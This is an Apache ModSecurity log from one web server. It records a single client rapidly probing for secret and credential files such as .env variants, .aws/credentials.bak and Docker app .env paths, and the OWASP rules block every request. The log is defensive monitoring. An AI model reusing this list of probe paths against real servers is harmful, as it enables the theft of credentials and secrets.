[Tue Oct 27 11:27:20.212151 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfQAAABI"]
[Tue Oct 27 11:27:20.212542 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfQAAABI"]
[Tue Oct 27 11:27:20.289045 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfgAAABI"]
[Tue Oct 27 11:27:20.289593 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfgAAABI"]
[Tue Oct 27 11:27:20.290148 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfgAAABI"]
[Tue Oct 27 11:27:20.290221 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfgAAABI"]
[Tue Oct 27 11:27:20.290243 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfgAAABI"]
[Tue Oct 27 11:27:20.365733 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfwAAABI"]
[Tue Oct 27 11:27:20.366014 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfwAAABI"]
[Tue Oct 27 11:27:20.366491 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBfwAAABI"]
[Tue Oct 27 11:27:20.368428 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auDC2ODGYG7bZ6qVgjrpNAAAABA"]
[Tue Oct 27 11:27:20.368737 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auDC2ODGYG7bZ6qVgjrpNAAAABA"]
[Tue Oct 27 11:27:20.369094 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auDC2ODGYG7bZ6qVgjrpNAAAABA"]
[Tue Oct 27 11:27:20.441651 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgAAAABI"]
[Tue Oct 27 11:27:20.441832 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgAAAABI"]
[Tue Oct 27 11:27:20.442046 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgAAAABI"]
[Tue Oct 27 11:27:20.445191 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auDC2ODGYG7bZ6qVgjrpNQAAABA"]
[Tue Oct 27 11:27:20.445338 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auDC2ODGYG7bZ6qVgjrpNQAAABA"]
[Tue Oct 27 11:27:20.445665 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auDC2ODGYG7bZ6qVgjrpNQAAABA"]
[Tue Oct 27 11:27:20.446140 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDC2DEbFPv4b_SwB77hZAAAAAo"]
[Tue Oct 27 11:27:20.446457 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDC2DEbFPv4b_SwB77hZAAAAAo"]
[Tue Oct 27 11:27:20.446690 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDC2DEbFPv4b_SwB77hZAAAAAo"]
[Tue Oct 27 11:27:20.449617 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auDC2BQ4PArk8zmfF_xaNQAAAAs"]
[Tue Oct 27 11:27:20.449777 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auDC2BQ4PArk8zmfF_xaNQAAAAs"]
[Tue Oct 27 11:27:20.450026 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auDC2BQ4PArk8zmfF_xaNQAAAAs"]
[Tue Oct 27 11:27:20.517174 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auDC2Kk5WBwWuEHXa74CrQAAAAc"]
[Tue Oct 27 11:27:20.517186 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgQAAABI"]
[Tue Oct 27 11:27:20.517416 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auDC2Kk5WBwWuEHXa74CrQAAAAc"]
[Tue Oct 27 11:27:20.517417 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgQAAABI"]
[Tue Oct 27 11:27:20.517648 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgQAAABI"]
[Tue Oct 27 11:27:20.517664 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auDC2Kk5WBwWuEHXa74CrQAAAAc"]
[Tue Oct 27 11:27:20.520599 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auDC2FoIklFaGsOHQ-PJDAAAAAw"]
[Tue Oct 27 11:27:20.520739 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auDC2FoIklFaGsOHQ-PJDAAAAAw"]
[Tue Oct 27 11:27:20.520953 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auDC2FoIklFaGsOHQ-PJDAAAAAw"]
[Tue Oct 27 11:27:20.521584 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auDC2DEbFPv4b_SwB77hZQAAAAo"]
[Tue Oct 27 11:27:20.521712 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auDC2DEbFPv4b_SwB77hZQAAAAo"]
[Tue Oct 27 11:27:20.521928 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auDC2DEbFPv4b_SwB77hZQAAAAo"]
[Tue Oct 27 11:27:20.522050 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auDC2ODGYG7bZ6qVgjrpNgAAABA"]
[Tue Oct 27 11:27:20.522197 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auDC2ODGYG7bZ6qVgjrpNgAAABA"]
